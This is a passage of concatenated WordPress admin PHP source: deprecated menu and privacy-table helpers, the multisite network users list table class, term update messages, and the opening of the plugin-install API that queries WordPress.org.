		$feed->__destruct();
		unset( $feed );
	}

	echo '</ul>';
}

/**
 * This was once used to move child posts to a new parent.
 *
 * @since 2.3.0
 * @deprecated 3.9.0
 * @access private
 *
 * @param int $old_ID
 * @param int $new_ID
 */
function _relocate_children( $old_ID, $new_ID ) {
	_deprecated_function( __FUNCTION__, '3.9.0' );
}

/**
 * Add a top-level menu page in the 'objects' section.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 *
 * @deprecated 4.5.0 Use add_menu_page()
 * @see add_menu_page()
 * @global int $_wp_last_object_menu
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param string   $icon_url   Optional. The URL to the icon to be used for this menu.
 * @return string The resulting page's hook_suffix.
 */
function add_object_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '') {
	_deprecated_function( __FUNCTION__, '4.5.0', 'add_menu_page()' );

	global $_wp_last_object_menu;

	$_wp_last_object_menu++;

	return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $callback, $icon_url, $_wp_last_object_menu);
}

/**
 * Add a top-level menu page in the 'utility' section.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 *
 * @deprecated 4.5.0 Use add_menu_page()
 * @see add_menu_page()
 * @global int $_wp_last_utility_menu
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param string   $icon_url   Optional. The URL to the icon to be used for this menu.
 * @return string The resulting page's hook_suffix.
 */
function add_utility_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '') {
	_deprecated_function( __FUNCTION__, '4.5.0', 'add_menu_page()' );

	global $_wp_last_utility_menu;

	$_wp_last_utility_menu++;

	return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $callback, $icon_url, $_wp_last_utility_menu);
}

/**
 * Disables autocomplete on the 'post' form (Add/Edit Post screens) for WebKit browsers,
 * as they disregard the autocomplete setting on the editor textarea. That can break the editor
 * when the user navigates to it with the browser's Back button. See #28037
 *
 * Replaced with wp_page_reload_on_back_button_js() that also fixes this problem.
 *
 * @since 4.0.0
 * @deprecated 4.6.0
 *
 * @link https://core.trac.wordpress.org/ticket/35852
 *
 * @global bool $is_safari
 * @global bool $is_chrome
 */
function post_form_autocomplete_off() {
	global $is_safari, $is_chrome;

	_deprecated_function( __FUNCTION__, '4.6.0' );

	if ( $is_safari || $is_chrome ) {
		echo ' autocomplete="off"';
	}
}

/**
 * Display JavaScript on the page.
 *
 * @since 3.5.0
 * @deprecated 4.9.0
 */
function options_permalink_add_js() {
	?>
	<script type="text/javascript">
		jQuery( function() {
			jQuery('.permalink-structure input:radio').change(function() {
				if ( 'custom' == this.value )
					return;
				jQuery('#permalink_structure').val( this.value );
			});
			jQuery( '#permalink_structure' ).on( 'click input', function() {
				jQuery( '#custom_selection' ).prop( 'checked', true );
			});
		} );
	</script>
	<?php
}

/**
 * Previous class for list table for privacy data export requests.
 *
 * @since 4.9.6
 * @deprecated 5.3.0
 */
class WP_Privacy_Data_Export_Requests_Table extends WP_Privacy_Data_Export_Requests_List_Table {
	function __construct( $args ) {
		_deprecated_function( __CLASS__, '5.3.0', 'WP_Privacy_Data_Export_Requests_List_Table' );

		if ( ! isset( $args['screen'] ) || $args['screen'] === 'export_personal_data' ) {
			$args['screen'] = 'export-personal-data';
		}

		parent::__construct( $args );
	}
}

/**
 * Previous class for list table for privacy data erasure requests.
 *
 * @since 4.9.6
 * @deprecated 5.3.0
 */
class WP_Privacy_Data_Removal_Requests_Table extends WP_Privacy_Data_Removal_Requests_List_Table {
	function __construct( $args ) {
		_deprecated_function( __CLASS__, '5.3.0', 'WP_Privacy_Data_Removal_Requests_List_Table' );

		if ( ! isset( $args['screen'] ) || $args['screen'] === 'remove_personal_data' ) {
			$args['screen'] = 'erase-personal-data';
		}

		parent::__construct( $args );
	}
}

/**
 * Was used to add options for the privacy requests screens before they were separate files.
 *
 * @since 4.9.8
 * @access private
 * @deprecated 5.3.0
 */
function _wp_privacy_requests_screen_options() {
	_deprecated_function( __FUNCTION__, '5.3.0' );
}

/**
 * Was used to filter input from media_upload_form_handler() and to assign a default
 * post_title from the file name if none supplied.
 *
 * @since 2.5.0
 * @deprecated 6.0.0
 *
 * @param array $post       The WP_Post attachment object converted to an array.
 * @param array $attachment An array of attachment metadata.
 * @return array Attachment post object converted to an array.
 */
function image_attachment_fields_to_save( $post, $attachment ) {
	_deprecated_function( __FUNCTION__, '6.0.0' );

	return $post;
}
<?php
/**
 * List Table API: WP_MS_Users_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying users in a list table for the network admin.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_MS_Users_List_Table extends WP_List_Table {
	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'manage_network_users' );
	}

	/**
	 * @global string $mode       List table view mode.
	 * @global string $usersearch
	 * @global string $role
	 */
	public function prepare_items() {
		global $mode, $usersearch, $role;

		if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'network_users_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'network_users_list_mode', 'list' );
		}

		$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';

		$users_per_page = $this->get_items_per_page( 'users_network_per_page' );

		$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

		$paged = $this->get_pagenum();

		$args = array(
			'number'  => $users_per_page,
			'offset'  => ( $paged - 1 ) * $users_per_page,
			'search'  => $usersearch,
			'blog_id' => 0,
			'fields'  => 'all_with_meta',
		);

		if ( wp_is_large_network( 'users' ) ) {
			$args['search'] = ltrim( $args['search'], '*' );
		} elseif ( '' !== $args['search'] ) {
			$args['search'] = trim( $args['search'], '*' );
			$args['search'] = '*' . $args['search'] . '*';
		}

		if ( 'super' === $role ) {
			$args['login__in'] = get_super_admins();
		}

		/*
		 * If the network is large and a search is not being performed,
		 * show only the latest users with no paging in order to avoid
		 * expensive count queries.
		 */
		if ( ! $usersearch && wp_is_large_network( 'users' ) ) {
			if ( ! isset( $_REQUEST['orderby'] ) ) {
				$_GET['orderby']     = 'id';
				$_REQUEST['orderby'] = 'id';
			}
			if ( ! isset( $_REQUEST['order'] ) ) {
				$_GET['order']     = 'DESC';
				$_REQUEST['order'] = 'DESC';
			}
			$args['count_total'] = false;
		}

		if ( isset( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = $_REQUEST['orderby'];
		}

		if ( isset( $_REQUEST['order'] ) ) {
			$args['order'] = $_REQUEST['order'];
		}

		/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
		$args = apply_filters( 'users_list_table_query_args', $args );

		// Query the user IDs for this page.
		$wp_user_search = new WP_User_Query( $args );

		$this->items = $wp_user_search->get_results();

		$this->set_pagination_args(
			array(
				'total_items' => $wp_user_search->get_total(),
				'per_page'    => $users_per_page,
			)
		);
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();
		if ( current_user_can( 'delete_users' ) ) {
			$actions['delete'] = __( 'Delete' );
		}
		$actions['spam']    = _x( 'Mark as spam', 'user' );
		$actions['notspam'] = _x( 'Not spam', 'user' );

		return $actions;
	}

	/**
	 */
	public function no_items() {
		_e( 'No users found.' );
	}

	/**
	 * @global string $role
	 * @return array
	 */
	protected function get_views() {
		global $role;

		$total_users  = get_user_count();
		$super_admins = get_super_admins();
		$total_admins = count( $super_admins );

		$role_links        = array();
		$role_links['all'] = array(
			'url'     => network_admin_url( 'users.php' ),
			'label'   => sprintf(
				/* translators: Number of users. */
				_nx(
					'All <span class="count">(%s)</span>',
					'All <span class="count">(%s)</span>',
					$total_users,
					'users'
				),
				number_format_i18n( $total_users )
			),
			'current' => 'super' !== $role,
		);

		$role_links['super'] = array(
			'url'     => network_admin_url( 'users.php?role=super' ),
			'label'   => sprintf(
				/* translators: Number of users. */
				_n(
					'Super Admin <span class="count">(%s)</span>',
					'Super Admins <span class="count">(%s)</span>',
					$total_admins
				),
				number_format_i18n( $total_admins )
			),
			'current' => 'super' === $role,
		);

		return $this->get_views_links( $role_links );
	}

	/**
	 * @global string $mode List table view mode.
	 *
	 * @param string $which
	 */
	protected function pagination( $which ) {
		global $mode;

		parent::pagination( $which );

		if ( 'top' === $which ) {
			$this->view_switcher( $mode );
		}
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$users_columns = array(
			'cb'         => '<input type="checkbox" />',
			'username'   => __( 'Username' ),
			'name'       => __( 'Name' ),
			'email'      => __( 'Email' ),
			'registered' => _x( 'Registered', 'user' ),
			'blogs'      => __( 'Sites' ),
		);
		/**
		 * Filters the columns displayed in the Network Admin Users list table.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $users_columns An array of user columns. Default 'cb', 'username',
		 *                                'name', 'email', 'registered', 'blogs'.
		 */
		return apply_filters( 'wpmu_users_columns', $users_columns );
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'username'   => array( 'login', false, __( 'Username' ), __( 'Table ordered by Username.' ), 'asc' ),
			'name'       => array( 'name', false, __( 'Name' ), __( 'Table ordered by Name.' ) ),
			'email'      => array( 'email', false, __( 'E-mail' ), __( 'Table ordered by E-mail.' ) ),
			'registered' => array( 'id', false, _x( 'Registered', 'user' ), __( 'Table ordered by User Registered Date.' ) ),
		);
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User $item The current WP_User object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		if ( is_super_admin( $user->ID ) ) {
			return;
		}
		?>
		<input type="checkbox" id="blog_<?php echo $user->ID; ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ); ?>" />
		<label for="blog_<?php echo $user->ID; ?>">
			<span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. %s: User login. */
			printf( __( 'Select %s' ), $user->user_login );
			?>
			</span>
		</label>
		<?php
	}

	/**
	 * Handles the ID column output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_id( $user ) {
		echo $user->ID;
	}

	/**
	 * Handles the username column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_username( $user ) {
		$super_admins = get_super_admins();
		$avatar       = get_avatar( $user->user_email, 32 );

		echo $avatar;

		if ( current_user_can( 'edit_user', $user->ID ) ) {
			$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
			$edit      = "<a href=\"{$edit_link}\">{$user->user_login}</a>";
		} else {
			$edit = $user->user_login;
		}

		?>
		<strong>
			<?php
			echo $edit;

			if ( in_array( $user->user_login, $super_admins, true ) ) {
				echo ' &mdash; ' . __( 'Super Admin' );
			}
			?>
		</strong>
		<?php
	}

	/**
	 * Handles the name column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_name( $user ) {
		if ( $user->first_name && $user->last_name ) {
			printf(
				/* translators: 1: User's first name, 2: Last name. */
				_x( '%1$s %2$s', 'Display name based on first name and last name' ),
				$user->first_name,
				$user->last_name
			);
		} elseif ( $user->first_name ) {
			echo $user->first_name;
		} elseif ( $user->last_name ) {
			echo $user->last_name;
		} else {
			echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' .
				/* translators: Hidden accessibility text. */
				_x( 'Unknown', 'name' ) .
			'</span>';
		}
	}

	/**
	 * Handles the email column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_email( $user ) {
		echo "<a href='" . esc_url( "mailto:$user->user_email" ) . "'>$user->user_email</a>";
	}

	/**
	 * Handles the registered date column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_registered( $user ) {
		global $mode;
		if ( 'list' === $mode ) {
			$date = __( 'Y/m/d' );
		} else {
			$date = __( 'Y/m/d g:i:s a' );
		}
		echo mysql2date( $date, $user->user_registered );
	}

	/**
	 * @since 4.3.0
	 *
	 * @param WP_User $user
	 * @param string  $classes
	 * @param string  $data
	 * @param string  $primary
	 */
	protected function _column_blogs( $user, $classes, $data, $primary ) {
		echo '<td class="', $classes, ' has-row-actions" ', $data, '>';
		echo $this->column_blogs( $user );
		echo $this->handle_row_actions( $user, 'blogs', $primary );
		echo '</td>';
	}

	/**
	 * Handles the sites column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_blogs( $user ) {
		$blogs = get_blogs_of_user( $user->ID, true );
		if ( ! is_array( $blogs ) ) {
			return;
		}

		foreach ( $blogs as $site ) {
			if ( ! can_edit_network( $site->site_id ) ) {
				continue;
			}

			$path         = ( '/' === $site->path ) ? '' : $site->path;
			$site_classes = array( 'site-' . $site->site_id );

			/**
			 * Filters the span class for a site listing on the multisite user list table.
			 *
			 * @since 5.2.0
			 *
			 * @param string[] $site_classes Array of class names used within the span tag.
			 *                               Default "site-#" with the site's network ID.
			 * @param int      $site_id      Site ID.
			 * @param int      $network_id   Network ID.
			 * @param WP_User  $user         WP_User object.
			 */
			$site_classes = apply_filters( 'ms_user_list_site_class', $site_classes, $site->userblog_id, $site->site_id, $user );

			if ( is_array( $site_classes ) && ! empty( $site_classes ) ) {
				$site_classes = array_map( 'sanitize_html_class', array_unique( $site_classes ) );
				echo '<span class="' . esc_attr( implode( ' ', $site_classes ) ) . '">';
			} else {
				echo '<span>';
			}

			echo '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $site->userblog_id ) ) . '">' . str_replace( '.' . get_network()->domain, '', $site->domain . $path ) . '</a>';
			echo ' <small class="row-actions">';

			$actions         = array();
			$actions['edit'] = '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $site->userblog_id ) ) . '">' . __( 'Edit' ) . '</a>';

			$class = '';
			if ( 1 === (int) $site->spam ) {
				$class .= 'site-spammed ';
			}
			if ( 1 === (int) $site->mature ) {
				$class .= 'site-mature ';
			}
			if ( 1 === (int) $site->deleted ) {
				$class .= 'site-deleted ';
			}
			if ( 1 === (int) $site->archived ) {
				$class .= 'site-archived ';
			}

			$actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $site->userblog_id ) ) . '">' . __( 'View' ) . '</a>';

			/**
			 * Filters the action links displayed next the sites a user belongs to
			 * in the Network Admin Users list table.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of action links to be displayed. Default 'Edit', 'View'.
			 * @param int      $userblog_id The site ID.
			 */
			$actions = apply_filters( 'ms_user_list_site_actions', $actions, $site->userblog_id );

			$action_count = count( $actions );

			$i = 0;

			foreach ( $actions as $action => $link ) {
				++$i;

				$separator = ( $i < $action_count ) ? ' | ' : '';

				echo "<span class='$action'>{$link}{$separator}</span>";
			}

			echo '</small></span><br />';
		}
	}

	/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User $item        The current WP_User object.
	 * @param string  $column_name The current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
		echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID );
	}

	public function display_rows() {
		foreach ( $this->items as $user ) {
			$class = '';

			$status_list = array(
				'spam'    => 'site-spammed',
				'deleted' => 'site-deleted',
			);

			foreach ( $status_list as $status => $col ) {
				if ( $user->$status ) {
					$class .= " $col";
				}
			}

			?>
			<tr class="<?php echo trim( $class ); ?>">
				<?php $this->single_row_columns( $user ); ?>
			</tr>
			<?php
		}
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'username'.
	 */
	protected function get_default_primary_column_name() {
		return 'username';
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User $item        User being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for users in Multisite, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		$super_admins = get_super_admins();
		$actions      = array();

		if ( current_user_can( 'edit_user', $user->ID ) ) {
			$edit_link       = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
			$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
		}

		if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins, true ) ) {
			$actions['delete'] = '<a href="' . esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&amp;action=deleteuser&amp;id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>';
		}

		/**
		 * Filters the action links displayed under each user in the Network Admin Users list table.
		 *
		 * @since 3.2.0
		 *
		 * @param string[] $actions An array of action links to be displayed. Default 'Edit', 'Delete'.
		 * @param WP_User  $user    WP_User object.
		 */
		$actions = apply_filters( 'ms_user_row_actions', $actions, $user );

		return $this->row_actions( $actions );
	}
}
<?php
/**
 * Edit Tags Administration: Messages
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

$messages = array();
// 0 = unused. Messages start at index 1.
$messages['_item'] = array(
	0 => '',
	1 => __( 'Item added.' ),
	2 => __( 'Item deleted.' ),
	3 => __( 'Item updated.' ),
	4 => __( 'Item not added.' ),
	5 => __( 'Item not updated.' ),
	6 => __( 'Items deleted.' ),
);

$messages['category'] = array(
	0 => '',
	1 => __( 'Category added.' ),
	2 => __( 'Category deleted.' ),
	3 => __( 'Category updated.' ),
	4 => __( 'Category not added.' ),
	5 => __( 'Category not updated.' ),
	6 => __( 'Categories deleted.' ),
);

$messages['post_tag'] = array(
	0 => '',
	1 => __( 'Tag added.' ),
	2 => __( 'Tag deleted.' ),
	3 => __( 'Tag updated.' ),
	4 => __( 'Tag not added.' ),
	5 => __( 'Tag not updated.' ),
	6 => __( 'Tags deleted.' ),
);

/**
 * Filters the messages displayed when a tag is updated.
 *
 * @since 3.7.0
 *
 * @param array[] $messages Array of arrays of messages to be displayed, keyed by taxonomy name.
 */
$messages = apply_filters( 'term_updated_messages', $messages );

$message = false;
if ( isset( $_REQUEST['message'] ) && (int) $_REQUEST['message'] ) {
	$msg = (int) $_REQUEST['message'];
	if ( isset( $messages[ $taxonomy ][ $msg ] ) ) {
		$message = $messages[ $taxonomy ][ $msg ];
	} elseif ( ! isset( $messages[ $taxonomy ] ) && isset( $messages['_item'][ $msg ] ) ) {
		$message = $messages['_item'][ $msg ];
	}
}
<?php
/**
 * WordPress Plugin Install Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Retrieves plugin installer pages from the WordPress.org Plugins API.
 *
 * It is possible for a plugin to override the Plugin API result with three
 * filters. Assume this is for plugins, which can extend on the Plugin Info to
 * offer more choices. This is very powerful and must be used with care when
 * overriding the filters.
 *
 * The first filter, {@see 'plugins_api_args'}, is for the args and gives the action
 * as the second parameter. The hook for {@see 'plugins_api_args'} must ensure that
 * an object is returned.
 *
 * The second filter, {@see 'plugins_api'}, allows a plugin to override the WordPress.org
 * Plugin Installation API entirely. If `$action` is 'query_plugins' or 'plugin_information',
 * an object MUST be passed. If `$action` is 'hot_tags' or 'hot_categories', an array MUST
 * be passed.
 *
 * Finally, the third filter, {@see 'plugins_api_result'}, makes it possible to filter the
 * response object or array, depending on the `$action` type.
 *
 * Supported arguments per action:
 *
 * | Argument Name        | query_plugins | plugin_information | hot_tags | hot_categories |
 * | -------------------- | :-----------: | :----------------: | :------: | :------------: |
 * | `$slug`              | No            |  Yes               | No       | No             |
 * | `$per_page`          | Yes           |  No                | No       | No             |
 * | `$page`              | Yes           |  No                | No       | No             |
 * | `$number`            | No            |  No                | Yes      | Yes            |
 * | `$search`            | Yes           |  No                | No       | No             |
 * | `$tag`               | Yes           |  No                | No       | No             |
 * | `$author`            | Yes           |  No                | No       | No             |
 * | `$user`              | Yes           |  No                | No       | No             |
 * | `$browse`            | Yes           |  No                | No       | No             |
 * | `$locale`            | Yes           |  Yes               | No       | No             |
 * | `$installed_plugins` | Yes           |  No                | No       | No             |
 * | `$is_ssl`            | Yes           |  Yes               | No       | No             |
 * | `$fields`            | Yes           |  Yes               | No       | No             |
 *
 * @since 2.7.0
 *
 * @param string       $action API action to perform: 'query_plugins', 'plugin_information',
 *                             'hot_tags' or 'hot_categories'.
 * @param array|object $args   {
 *     Optional. Array or object of arguments to serialize for the Plugin Info API.
 *
 *     @type string  $slug              The plugin slug. Default empty.
 *     @type int     $per_page          Number of plugins per page. Default 24.
 *     @type int     $page              Number of current page. Default 1.
 *     @type int     $number            Number of tags or categories to be queried.
 *     @type string  $search            A search term. Default empty.
 *     @type string  $tag               Tag to filter plugins. Default empty.
 *     @type string  $author            Username of an plugin author to filter plugins. Default empty.
 *     @type string  $user              Username to query for their favorites. Default empty.
 *     @type string  $browse            Browse view: 'popular', 'new', 'beta', 'recommended'.
 *     @type string  $locale            Locale to provide context-sensitive results. Default is the value
 *                                      of get_locale().
 *     @type string  $installed_plugins Installed plugins to provide context-sensitive results.
 *     @type bool    $is_ssl            Whether links should be returned with https or not. Default false.
 *     @type array   $fields            {
 *         Array of fields which should or should not be returned.
 *
 *         @type bool $short_description Whether to return the plugin short description. Default true.
 *         @type bool $description       Whether to return the plugin full description. Default false.
 *         @type bool $sections          Whether to return the plugin readme sections: description, installation,
 *                                       FAQ, screenshots, other notes, and changelog. Default false.
 *         @type bool $tested            Whether to return the 'Compatible up to' value. Default true.
 *         @type bool $requires          Whether to return the required WordPress version. Default true.
 *         @type bool $requires_php      Whether to return the required PHP version. Default true.
 *         @type bool $rating            Whether to return the rating in percent and total number of ratings.
 *                                       Default true.
 *         @type bool $ratings           Whether to return the number of rating for each star (1-5). Default true.
 *         @type bool $downloaded        Whether to return the download count. Default true.
 *         @type bool $downloadlink      Whether to return the download link for the package. Default true.
 *         @type bool $last_updated      Whether to return the date of the last update. Default true.
 *         @type bool $added             Whether to return the date when the plugin was added to the wordpress.org
 *                                       repository. Default true.
 *         @type bool $tags              Whether to return the assigned tags. Default true.
 *         @type bool $compatibility     Whether to return the WordPress compatibility list. Default true.
 *         @type bool $homepage          Whether to return the plugin homepage link. Default true.
 *         @type bool $versions          Whether to return the list of all available versions. Default false.
 *         @type bool $donate_link       Whether to return the donation link. Default true.
 *         @type bool $reviews           Whether to return the plugin reviews. Default false.
 *         @type bool $banners           Whether to return the banner images links. Default false.
 *         @type bool $icons             Whether to return the icon links. Default false.
 *         @type bool $active_installs   Whether to return the number of active installations. Default false.
 *         @type bool $group             Whether to return the assigned group. Default false.
 *         @type bool $contributors      Whether to return the list of contributors. Default false.
 *     }
 * }
 * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
 *         {@link https://developer.wordpress.org/reference/functions/plugins_api/ function reference article}
 *         for more information on the make-up of possible return values depending on the value of `$action`.
 */
function plugins_api( $action, $args = array() ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	if ( is_array( $args ) ) {
		$args = (object) $args;
	}

	if ( 'query_plugins' === $action ) {
		if ( ! isset( $args->per_page ) ) {
			$args->per_page = 24;
		}
	}

	if ( ! isset( $args->locale ) ) {
		$args->locale = get_user_locale();
	}

	if ( ! isset( $args->wp_version ) ) {
		$args->wp_version = substr( $wp_version, 0, 3 ); // x.y
	}

	/**
	 * Filters the WordPress.org Plugin Installation API arguments.
	 *
	 * Important: An object MUST be returned to this filter.
	 *
	 * @since 2.7.0
	 *
	 * @param object $args   Plugin API arguments.
	 * @param string $action The type of information being requested from the Plugin Installation API.
	 */
	$args = apply_filters( 'plugins_api_args', $args, $action );

	/**
	 * Filters the response for the current WordPress.org Plugin Installation API request.
	 *
	 * Returning a non-false value will effectively short-circuit the WordPress.org API request.
	 *
	 * If `$action` is 'query_plugins' or 'plugin_information', an object MUST be passed.
	 * If `$action` is 'hot_tags' or 'hot_categories', an array should be passed.
	 *
	 * @since 2.7.0
	 *
	 * @param false|object|array $result The result object or array. Default false.
	 * @param string             $action The type of information being requested from the Plugin Installation API.
	 * @param object             $args   Plugin API arguments.
	 */
	$res = apply_filters( 'plugins_api', false, $action, $args );

	if ( false === $res ) {

		$url = 'http://api.wordpress.org/plugins/info/1.2/';
		$url = add_query_arg(
			array(
				'action'  => $action,
				'request' => $args,
			),
			$url
		);

		$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$http_args = array(
			'timeout'    => 15,
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);
		$request   = wp_remote_get( $url, $http_args );

		if ( $ssl && is_wp_error( $request ) ) {
			if ( ! wp_is_json_request() ) {
				trigger_error(
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
					headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
				);
			}

			$request = wp_remote_get( $http_url, $http_args );
		}

		if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'plugins_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( is_array( $res ) ) {
				// Object casting is required in order to match the info/1.0 format.
				$res = (object) $res;
			} elseif ( null === $res ) {
				$res = new WP_Error(
					'plugins_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}

			if ( isset( $res->error ) ) {
				$res = new WP_Error( 'plugins_api_failed', $res->error );
			}
		}
	} elseif ( ! is_wp_error( $res ) ) {
		$res->external = true;
	}

	/**
	 * Filters the Plugin Installation API response results.
	 *
	 * @since 2.7.0
	 *
	 * @param object|WP_Error $res    Response object or WP_Error.
	 * @param string          $action The type of information being requested from the Plugin Installation API.
	 * @param object          $args   Plugin API arguments.
	 */
	return apply_filters( 'plugins_api_result', $res, $action, $args );
}

/**
 * Retrieves popular WordPress plugin tags.
 *
 * @since 2.7.0
 *
 * @param array $args
 * @return array|WP_Error
 */
function install_popular_tags( $args = array() ) {
	$key  = md5( serialize( $args ) );
	$tags = get_site_transient( 'poptags_' . $key );
	if ( false !== $tags ) {
		return $tags;
	}

	$tags = plugins_api( 'hot_tags', $args );

	if ( is_wp_error( $tags ) ) {
		return $tags;
	}

	set_site_transient( 'poptags_' . $key, $tags, 3 * HOUR_IN_SECONDS );

	return $tags;
}

/**
 * Displays the Featured tab of Add Plugins screen.
 *
 * @since 2.7.0
 */
function install_dashboard() {
	display_plugins_table();
	?>

	<div class="plugins-popular-tags-wrapper">
	<h2><?php _e( 'Popular tags' ); ?></h2>
	<p><?php _e( 'You may also browse based on the most popular tags in the Plugin Directory:' ); ?></p>
	<?php

	$api_tags = install_popular_tags();

	echo '<p class="popular-tags">';
	if ( is_wp_error( $api_tags ) ) {
		echo $api_tags->get_error_message();
	} else {
		// Set up the tags in a way which can be interpreted by wp_generate_tag_cloud().
		$tags = array();
		foreach ( (array) $api_tags as $tag ) {
			$url                  = self_admin_url( 'plugin-install.php?tab=search&type=tag&s=' . urlencode( $tag['name'] ) );
			$data                 = array(
				'link'  => esc_url( $url ),
				'name'  => $tag['name'],
				'slug'  => $tag['slug'],
				'id'    => sanitize_title_with_dashes( $tag['name'] ),
				'count' => $tag['count'],
			);
			$tags[ $tag['name'] ] = (object) $data;
		}
		echo wp_generate_tag_cloud(
			$tags,
